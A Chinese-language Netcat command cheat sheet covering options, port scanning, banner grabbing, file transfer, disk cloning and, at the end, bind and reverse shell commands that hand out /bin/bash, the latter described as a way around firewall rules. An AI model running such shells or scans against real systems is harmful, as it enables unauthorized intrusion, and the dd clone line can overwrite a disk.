Netcat / nc

精选 Netcat 常用指令与核心速查备忘单,涵盖高频用法、配置参数与实用技巧。Netcat 是一个功能强大的网络工具,用于读写网络连接。

#入门指南

#基本用法

连接到任何位置的主机

$ nc [options] [host] [port]

监听传入连接

$ nc -lp port [host] [port]

#选项参数示例

选项参数 功能说明 示例
-h nc -h 帮助信息
-z nc -z 192.168.1.9 1-100 对主机或 IP 地址进行端口扫描
-v nc -zv 192.168.1.9 1-100 提供详细输出
-n nc -zn 192.168.1.9 1-100 通过禁用 DNS 解析来快速扫描
-l nc -lp 8000 TCP 监听模式(用于入站连接)
-w nc -w 180 192.168.1.9 8000 定义超时值
-k nc -kl 8000 断开连接后继续监听
-u nc -u 192.168.1.9 8000 使用 UDP 而不是 TCP
-q nc -q 1 192.168.1.9 8000 客户端在 EOF 后保持运行
-4 nc -4 -l 8000 仅 IPv4
-6 nc -6 -l 8000 仅 IPv6

#聊天客户端-服务器 (Chat client-server)

服务器 (192.168.1.9)

$ nc -lv 8000

客户端

$ nc 192.168.1.9 8000

#Netcat 实用示例

#横幅抓取 (Banner grabbing)

$ nc website.com 80
GET index.html HTTP/1.1
HEAD / HTTP/1.1

echo "" | nc -zv -wl 192.168.1.1 801-805

#端口扫描 (Port scanning)

扫描 21 到 25 之间的端口

$ nc -zvn 192.168.1.1 21-25

扫描端口 22、3306 和 8080

$ nc -zvn 192.168.1.1 22 3306 8080

#代理与端口转发 (Proxy and port forwarding)

$ nc -lp 8001 -c "nc 127.0.0.1 8000"

$ nc -l 8001 | nc 127.0.0.1 8000

从一个本地端口创建隧道到另一个端口

#下载文件 (Download file)

服务器 (192.168.1.9)

$ nc -lv 8000 < file.txt

客户端

$ nc -nv 192.168.1.9 8000 > file.txt

假设你想从服务器 A 传输文件 "file.txt" 到客户端 B。

#上传文件 (Upload file)

服务器 (192.168.1.9)

$ nc -lv 8000 > file.txt

客户端

$ nc 192.168.1.9 8000 < file.txt

假设你想从客户端 B 传输文件 "file.txt" 到服务器 A:

#目录传输 (Directory transfer)

服务器 (192.168.1.9)

$ tar -cvf – dir_name | nc -l 8000

客户端

$ nc -n 192.168.1.9 8000 | tar -xvf -

假设你想通过网络从 A 传输目录到 B。

#加密传输 (Encrypt transfer)

服务器 (192.168.1.9)

$ openssl enc -des3 -in file.txt -pass pass:password | nc -l 8000

客户端

$ nc 192.168.1.9 8000 | openssl enc -des3 -d -pass pass:password -out file.txt

在通过网络传输之前加密数据

#克隆磁盘 (Clones)

服务器 (192.168.1.9)

$ dd if=/dev/sda | nc -l 8000

客户端

$ nc -n 192.168.1.9 8000 | dd of=/dev/sda

克隆 Linux PC 非常简单。假设你的系统磁盘是 /dev/sda

#视频流 (Video streaming)

服务器 (192.168.1.9)

$ cat video.avi | nc -l 8000

客户端

$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -

使用 netcat 流式传输视频

#远程 Shell (Remote shell)

服务器 (192.168.1.9)

$ nc -lv 8000 -e /bin/bash

客户端

$ nc 192.168.1.9 8000

我们曾使用 telnet 和 ssh 来使用远程 Shell,但如果它们没有安装且我们没有权限安装它们,那么我们也可以使用 netcat 创建远程 Shell。

#反向 Shell (Reverse shell)

服务器 (192.168.1.9)

$ nc -lv 8000

客户端

$ nc 192.168.1.9 8000 -v -e /bin/bash

反向 Shell 通常用于绕过防火墙限制,如被阻止的入站连接